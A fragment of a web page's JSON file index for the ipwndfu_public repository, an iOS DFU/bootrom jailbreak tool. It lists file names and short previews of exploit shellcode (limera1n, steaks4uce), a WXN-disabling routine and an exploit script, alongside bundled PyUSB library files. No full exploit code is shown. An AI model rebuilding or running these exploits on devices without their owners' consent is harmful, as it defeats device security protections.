"path": "src/ibss-flash-nor-shellcode.S",
"chars": 2701,
"preview": "@ ibss-flash-nor-shellcode.S\n@ Author: axi0mX\n@ Flashes parts of payload to NOR using iPhone2,1 4.3.5 iBSS\n@ Parts flash"
},
{
"path": "src/limera1n-shellcode.S",
"chars": 7690,
"preview": "@ limera1n-shellcode.S\n@ Author: axi0mX\n@ Shellcode for limera1n exploit with minor improvements:\n@ * supports 'exec' ma"
},
{
"path": "src/steaks4uce-shellcode.S",
"chars": 8151,
"preview": "@ steaks4uce-shellcode.S\n@ Author: axi0mX\n@ Shellcode for steaks4uce exploit with minor improvements:\n@ * reports PWND:["
},
{
"path": "src/t8010_t8011_disable_wxn_arm64.S",
"chars": 715,
"preview": ".text\n\n.align 2\n\n.globl _main\n_main:\n # Copy the real pagetable first\n MOV X1, #0x180000000\n ADD X2, X1, #0xA8000\n "
},
{
"path": "src/usb_0xA1_2_arm64.S",
"chars": 3423,
"preview": ".text\n\n.pool\n.set USB_CORE_DO_IO, 0xBAD00006\n.set LOAD_ADDRESS, 0xBAD00001\n.set EXEC_MAGIC, 0xBAD00002\n.set MEMC_M"
},
{
"path": "src/usb_0xA1_2_armv7.S",
"chars": 2444,
"preview": ".text\n\n.pool\n.set USB_CORE_DO_IO, 0xBAD00006\n.set LOAD_ADDRESS, 0xBAD00001\n.set EXEC_MAGIC, 0xBAD00002\n.set MEMC_M"
},
{
"path": "steaks4uce.py",
"chars": 5534,
"preview": "# Credit: This file is based on steaks4uce exploit (heap overflow) by pod2g.\n\nimport struct, sys, time\nimport usb # pyus"
},
{
"path": "usb/ACKNOWLEDGEMENTS",
"chars": 434,
"preview": "Alan Aguiar\njaseg\nJohannes Stezenbach\nMarijn van Vliet\nStefano Di Martino\nSimon Norberg\niThompson\nHarry Bock\nponty\nChris"
},
{
"path": "usb/LICENSE",
"chars": 1407,
"preview": "Copyright (C) 2009-2014 Wander Lairson Costa. All Rights Reserved.\n\nRedistribution and use in source and binary forms, w"
},
{
"path": "usb/README.rst",
"chars": 3656,
"preview": "=======================================\nPyUSB 1.0 - Easy USB access from Python\n=======================================\n"
},
{
"path": "usb/__init__.py",
"chars": 3550,
"preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
},
{
"path": "usb/_debug.py",
"chars": 3215,
"preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
},
{
"path": "usb/_interop.py",
"chars": 3522,
"preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
},
{
"path": "usb/_lookup.py",
"chars": 3259,
"preview": "# Copyright (C) 2009-2014 Walker Inman\n#\n# The following terms apply to all files associated\n# with the software unless "
},
{
"path": "usb/_objfinalizer.py",
"chars": 5286,
"preview": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2014 André Erdmann\n#\n# The following terms apply to all files associated\n# wit"
},
{
"path": "usb/backend/__init__.py",
"chars": 16048,
"preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
},
{
"path": "usb/backend/libusb0.py",
"chars": 23783,
"preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
},
{
"path": "usb/backend/libusb1.py",
"chars": 35299,
"preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
},
{
"path": "usb/backend/openusb.py",
"chars": 28019,
"preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
},
{
"path": "usb/control.py",
"chars": 8739,
"preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
},
{
"path": "usb/core.py",
"chars": 46704,
"preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
},
{
"path": "usb/legacy.py",
"chars": 12588,
"preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
},
{
"path": "usb/libloader.py",
"chars": 6787,
"preview": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2013-2014 André Erdmann\n#\n# The following terms apply to all files associated\n"
},
{
"path": "usb/util.py",
"chars": 12291,
"preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
},
{
"path": "usbexec.py",
"chars": 7684,
"preview": "import struct, sys\nimport dfu, device_platform\n\nclass ExecConfig:\n def __init__(self, info, aes_crypto_cmd):\n self.i"
},
{
"path": "utilities.py",
"chars": 1108,
"preview": "import subprocess, sys\n\ndef apply_patches(binary, patches):\n for (offset, data) in patches:\n binary = binary[:"
}
]
// ... and 1 more files (download for full content)
About this extraction
This page contains the full source code of the LinusHenze/ipwndfu_public GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 55 files (416.9 KB), approximately 114.2k tokens, and a symbol index with 468 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.